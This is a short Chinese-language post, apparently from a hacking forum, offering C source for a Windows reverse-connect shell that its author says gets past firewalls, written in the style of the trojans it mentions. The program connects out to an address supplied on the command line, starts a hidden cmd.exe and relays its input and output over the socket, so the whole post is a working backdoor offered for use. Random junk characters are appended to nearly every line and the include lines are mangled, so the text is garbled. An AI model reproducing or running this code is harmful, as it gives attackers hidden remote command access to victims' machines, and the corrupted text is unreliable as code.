这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 :X"?kK0 V
i1UiNJh86
/* ============================== i3dkYevs?
Rebound port in Windows NT -^K"ZP1
By wind,2006/7 y?rPlA_
===============================*/ ~Uj=^leYO
#include H
>j
#include 26e]`]!SU
S3F;(PDzy
#pragma comment(lib,"wsock32.lib") XywE1}3
1!ii;s^e
void OutputShell(); cIUHa
SOCKET sClient; &[_g6OL
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; E8!e:l
=Q
d<% z
1Dj2
void main(int argc,char **argv) A]<y:^2])C
{ t
4PK}>QW
WSADATA stWsaData; <x@}01~
int nRet; |pm7 _[
SOCKADDR_IN stSaiClient,stSaiServer; o#;b
nv GF2(;l
if(argc != 3) |)nZ^Cc
{ "&%I)e^
printf("Useage:\n\rRebound DestIP DestPort\n"); <
nXL
return; 1Y/s%L
} 3%l*N&gsg:
1=t>HQ
WSAStartup(MAKEWORD(2,2),&stWsaData); ,kF1T,
_+p4Wvu~0
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); :imW\@u
dUsYZdQs
stSaiClient.sin_family = AF_INET;
7_%"BVb"
stSaiClient.sin_port = htons(0); PbW(%7o(t
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); o%v0h~tn
V:qSy#e
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) YHkn2]^#A
{ t|a2;aq_
printf("Bind Socket Failed!\n"); 4P'*umJi
return; MTsM]o
} Y?S!8-z
6 2'j!"xv
stSaiServer.sin_family = AF_INET; #EO9UW5
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); gMY1ts}Z
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 3wOZ4<B
M1 :uJkO.
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) rv&<{@AS~
{ VG,u7A*Z#
printf("Connect Error!"); "kMguK}c
return; \8<BLmf4U
} Aj2OkD
OutputShell(); :{IO=^D=$
} ~$p2#AqX
B
x (uRj
void OutputShell() _T2=J+"-Kp
{ \hhmVt@@
char szBuff[1024]; b@S Cn9
SECURITY_ATTRIBUTES stSecurityAttributes; mml<9fbH
OSVERSIONINFO stOsversionInfo; 4\6N~P86
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; sVJ!FC
STARTUPINFO stStartupInfo; df
n9!h
char *szShell; ,t`Kv1
PROCESS_INFORMATION stProcessInformation; xfb]b2
unsigned long lBytesRead; z.Y$7bf)
Hd,p!_
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 'JNElXqrv
=k/IaFg 6w
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); cZT({uYGL
stSecurityAttributes.lpSecurityDescriptor = 0; lWqrU1Sjl
stSecurityAttributes.bInheritHandle = TRUE; #/I[Jqf
YhY:~
wlEdt1G
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Pv<24:ao
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); F$^Su<w5l
hs?sGr
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 59#lU~Kv
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; i| ZceX/
stStartupInfo.wShowWindow = SW_HIDE; x3u4v~ "-
stStartupInfo.hStdInput = hReadPipe; 1?| flK
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ;s~X
O)Y?=G)
GetVersionEx(&stOsversionInfo); ,9P:Draxs`
r YF #^
switch(stOsversionInfo.dwPlatformId) 8Th` ]tI
{ cetvQAGXY
case 1: y2+p1
szShell = "command.com"; 8o/}}=m$
break; l27\diKPJ
default: 5bA)j!#)|X
szShell = "cmd.exe"; jZ%TJ0(H
break; fPR$kch
} f}L*uw
]I L;`>Gp
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ~`D|IWMDq
(?H0+zws^
send(sClient,szMsg,77,0); nN~~cV
while(1) 8kbY+W%n
{ Ed:eGm }
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); <HRBMSR+
if(lBytesRead) wP57Pf0
{ q|%(3,)ig
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); k64."*X
send(sClient,szBuff,lBytesRead,0); DaH?@Q
} 6O@J7P
else ^0#;YOk
{ rS0DSGDq
lBytesRead=recv(sClient,szBuff,1024,0); ~Aq5XI%i
if(lBytesRead<=0) break; )I\=BPo|B
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); o0ZM[0@j
} 0I{gJSK.,
} ](B@5-^
KK,Z"){
return; "/]| Hhc{
}